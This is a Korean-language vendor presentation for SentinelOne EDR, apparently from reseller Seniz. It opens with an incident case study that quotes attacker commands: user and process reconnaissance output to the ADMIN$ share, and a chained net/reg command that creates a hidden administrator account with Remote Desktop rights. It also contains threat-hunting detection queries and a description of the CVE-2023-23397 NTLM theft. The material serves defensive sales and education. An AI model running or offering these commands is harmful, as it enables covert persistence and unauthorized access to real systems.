
AI 기반의위협차단및대응
(Endpoint Prevention Detection & Response)



악성코드 공격 사례
및 레거시 백신 대비
차별점

위협 동향 및 레거시
백신 대비 차별점



최신위협현황

3

원격에서 수행된 명령어 명령어 요약

"c:\windows\system32\cmd.exe" /c "whoami"

모든 사용자 정보와 그룹 정보를 표시하여
시스템의 사용자와 그룹 관계를 확인

사용된 명령어
- cmd
- whoami
- wmic
- tasklist

"C:\Program Files\OpenSSH-Win64\sshd.exe" -z

"c:\windows\system32\cmd.exe" /c "chcp"

"C:\Program Files\OpenSSH-Win64\sshd.exe" -z

"c:\windows\system32\cmd.exe" /c "wmic useraccount get name, sid && echo LINE_DELIMITER && wmic 
/namespace:\\root\cimv2 path win32_groupuser"

cmd.exe /Q /c cd  1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

cmd.exe /Q /c query user 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

cmd.exe /Q /c wmic user account get name 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

cmd.exe /Q /c wmic useraccount get name 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

cmd.exe /Q /c wmic account get name 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

cmd.exe /Q /c tasklist 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

'cmd.exe /Q /c net user D**** password******/add /y & net user D**** /active:yes & net user D**** /expires:never & net 
localgroup "Administrators" D**** /add & net localgroup "Remote Desktop Users" D**** /add & reg add 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v  D**** /t 
REG_DWORD /d 0 /f 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

숨겨진 관리자 계정을 생성하고 원격 접근
권한을 부여, 로그 파일을 로컬 시스템의
ADMIN$ 공유 폴더에 저장

사용된 명령어
- net (user, localgroup)

'net  user D**** password******/add /y

'cmd.exe /Q /c net user D**** password******/add /y & net user D**** /active:yes & net user D**** /expires:never & net 
localgroup "Administrators" D**** /add & net localgroup "Remote Desktop Users" D**** /add & reg add 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v  D**** /t 
REG_DWORD /d 0 /f 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

net  user D**** /active:yes

'cmd.exe /Q /c net user D**** password******/add /y & net user D**** /active:yes & net user D**** /expires:never & net 
localgroup "Administrators" D**** /add & net localgroup "Remote Desktop Users" D**** /add & reg add 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v  D**** /t 
REG_DWORD /d 0 /f 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

net  user D**** /expires:never

'cmd.exe /Q /c net user D**** password******/add /y & net user D**** /active:yes & net user D**** /expires:never & net 
localgroup "Administrators" D**** /add & net localgroup "Remote Desktop Users" D**** /add & reg add 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v  D**** /t 
REG_DWORD /d 0 /f 1> \\127.0.0.1\ADMIN$\__1729701705.8193433 2>&1

net  localgroup "Administrators" D**** /add

wevtutil qe Microsoft-Windows-TerminalServices-LocalSessionManager/Operational /c:5 "/q:*[System [(EventID=25)]]" /rd:true
/f:text

원격 데스크톱 세션 이벤트를 조회하여
최근 원격 데스크톱 연결 시도를 확인

사용된 명령어
- wevtutil

특징

1. 악성코드는없었다.

2. 탈취된계정정보를활용한것으로보인다.

3. 외부로서비스되고있는리눅스시스템을활용했다.

4. Windows OS 가제공하는기본유틸리티만사용했다.



만약 EDR 이없었다면?

ITEM Antivirus(백신) Antivirus + EDR

데이터 수집 악성코드 탐지와 관련된 데이터만 존재
악성 + 정상 데이터
프로세스, 파일, 네트웍(IP, DNS, URL), 레지스트리, 로그온, 스케줄
작업, 커맨드 스크립트, 드라이버 로드

위협 가시성 파일 중심, 시각화 불가 수집된 데이터 기반의 악성 프로세스 중심의 시각화

커스텀 탐지 제공하지 않음 IoC, 인디케이터(악성 행위) 기반의 탐지 수행으로 선제적 위협 탐지

출처(원인) 분석 불가 데이터 기반의 추적

대응 파일 격리 파일 격리, 호스트 격리, 시스템 침해 복구

XDR 연계 지원하지 않음 연계된 3’d party 솔루션과 연계(계정 재설정, 접근통제 등)
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사이버위협동향

2023년에악용된주요상용툴
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SentinelOne 차별화된기술

ONE Console

전세계 모든

지역에서 단일

콘솔로 통합 관리

제공

강력한 대응 - 복구

EPP + EDR

센티널원 제공하는

모든 기능을 단일

에이전트로 통합,

XDR로 확장

Storyline

악성코드

시작부터

마지막까지 모든

과정을 분석 지원

ActiveEDR®

악성코드가

수행한 프로세스,

레지스트리, 파일

등 14항목을

기록/관리 및 분석

(악성 파일 조치 방법)

AI 탐지 엔진

정적 / 동적 AI 

엔진으로 알려지지

않은 위협 탐지



SentinelOne
탐지 기술
SentinelOne
- 탐지 기술
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SentinelOne 탐지엔진

REPUTATION
클라우드평판엔진

STATIC AI
정적 AI 엔진

BEHAVIORAL AI
동적 AI 엔진

DEEP VISIBILITY
액티브 EDR

해쉬값기준악성코드차단 –
OS별최적화된해쉬DB 제공

AI 데이터모델기반
파일속성을추출하여비교

MITRE framework 기반
실시간악성활동탐지

데이터가시성
Storyline 기반위협헌팅
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평판(Reputation Engine)

▪ 실행되는 파일의 해쉬값을 수집하여 SentinelOne 클라우드에서 비교하여 판단
▪ OS별 각각의 해쉬 DB 운영
▪ 한번 실행된 악성코드의 해쉬 DB는 Blacklist에 유지
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Static AI(Artificial Intelligence)

▪ 파일을 실행하지 않고 헤더 정보 수집하여 AI를 활용한 악성코드 여부 판단
▪ Entropy기반 분석 및 차단
▪ Training Set을 통한 AI엔진 분석
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SentinelOne 행위기반탐지엔진

▪ MITRE ATT&CK 프레임워크를 따르는 악성 활동 탐지

• MITRE 공격 프레임워크정보를 활용

- 침투 단계, 공격 전술에 대한 가시성 확보

Olympic Destroyer
▪ Lateral movement(횡 이동 공격)

▪ 스크립트, local CLI

▪ 메모리 익스플로잇

▪ 권한 상승

▪ 시스템 조작, 레지스트리 & 커널 작업

▪ 스텔스, 스파잉, 탐지 회피

▪ 네트웍 행위

▪ 지속 공격, anti-debugging

▪ 데이터 수집

▪ 파일 작업과 조작

▪ 프로세스 작업
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SentinelOne 행위기반탐지엔진

▪ 각 공격 기법 별 Tactics(공격 전술), Techniques(공격기술) 상세 정보 제공
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Anti-exploitation / Fileless

▪ 탐지 사례

PowerShell 의

암호화(Encryption) 옵션을

활용한 명령 실행으로 악성

행위를 숨기기 위한 행위 탐지



Storyline (스토리라인)

▪ 악성코드 공격 시작부터 끝까지 관련 모든 행위를 연관하여 분석할 수 있는 기술

PC 상에서 사용자가 실행하는 프로세스 기반 변경 사항 추적관리

- 브라우저 실행

- 새로운 탭 시작

- 파일 다운로드

- 다운로드된 파일 실행

- VSS백업이미지 삭제 시도

- 파워셀 이용 공격 시도

- 레지스트리 변경 시도
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복구기능

리부팅
(스냅샷 𝐈 생성)

4시간 경과
(스냅샷 𝐈𝐈 생성)

4시간 경과
(스냅샷 𝐈𝐈𝐈 생성)

악성코드로 인한 손상 시
(스냅샷 𝐈𝐈 데이터를 이용하여 롤백 수행)

Windows Volume Shadow Service 활용
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어플리케이션취약점정보제공
▪ 설치된 어플리케이션 정보와 CVE 취약점 데이터를 결합하여 시스템의 취약점

정보 제공



SentinelOne
탐지 기술
SentinelOne
- EDR
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EDR 수집데이터

Process, Indicator, File, Network Action, DNS, Registry, Scheduled Task, Login
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EDR 상세
Registry 상세

DNS 상세
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EDR 상세
Process 상세

Files 상세
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EDR 상세
Indicator 상세

Network 상세
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SentinelOne EDR

이벤트 상세

수집 이벤트 타입

이벤트 타임라인

프로세스 상세

스토리라인 시각화
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EDR 데이터검색

AND, OR 등의 조건을 이용한 검색 시간 범위 설정



EDR 활용 - Threat Hunting

▪ Living off the Land Attack

SrcProcUser = "Newuser" AND EventType = "Process Creation"

새로운 사용자가 생성된 후 해당 사용자가 생성한 프로세스 확인

▪ 악성 행위 헌팅

민감한 메모리 접근

▪ 비정상적 스케줄 작업 생성

예약된 작업을 생성하는 악의적 프로세스를 탐지

SrcProcCmdLine RegExp "schtasks" AND SrcProcParentName != "Manages scheduled tasks"

src.process.parent.name in ( "Microsoft Word" , "Microsoft\nExcel" , "Microsoft Outlo
ok" , "Microsoft Powerpoint" ) AND src.process.name in ( "powershell.exe" , "cmd.exe"
, "python.exe" )

MS Office 문서에서 발생되는 로컬 데이터 수집, C&C 서버 통신
등에 사용되는 악성행위를 탐지

▪ 문서에서 발생되는 위협 헌팅
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Star Alert (커스텀탐지룰)

검색하고자 하는 조건 입력

- 다양한 조건식 지원

- 실행된 프로세스

- 레지스트리, 파일

- 로그 이벤트 등

- IP, URL 등

대응 방법

- Treat as a Threat

공격으로 인지, 롤백/차단 등

- Network Quarantine

네트워크 격리 지원

▪ 원하는 조건에 해당되는 이벤트 알림 제공 및 조치까지 자동화 기능



커스텀탐지룰

탐지 시 대응정책

상세 탐지 내역

커스텀 탐지 룰
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Mark as Threat
▪ EDR 헌팅을 통해 발견된 인시던트를 위협으로 정의, 기존에 탐지 하지 못한 위협으로 인한 시스템 피해 복원
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EDR 통계기반의쿼리

다양한 조건 기반의 쿼리
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PowerQuery를이용한위협탐지
▪ 통계 기반의 위협 탐지

#CVE-2023-23397 (릴리스 날짜: 2023년 3월 14일)
Outlook 캘린더 내 약속을 알리는 '미리 알림'이라는 기능을 악용하여 NTLM 자격 증명을 탈취할 수 있는 취약점
사용자가 악의적으로 작성된 메일을 수신하는 경우, 공격자가 제어하는 SMB 서버(TCP 445)에 강제 인증하도록 하여 사용자의 정보(NTLM 해시)를 탈취
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EDR 데이터가시화
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Purple AI



영업및기술문의
㈜세니즈
www.seniz.co.kr

배상일이사
bae@seniz.co.kr
010-71335486

http://www.seniz.co.kr/
mailto:bae@seniz.co.kr


sentinelone.com

Thank you
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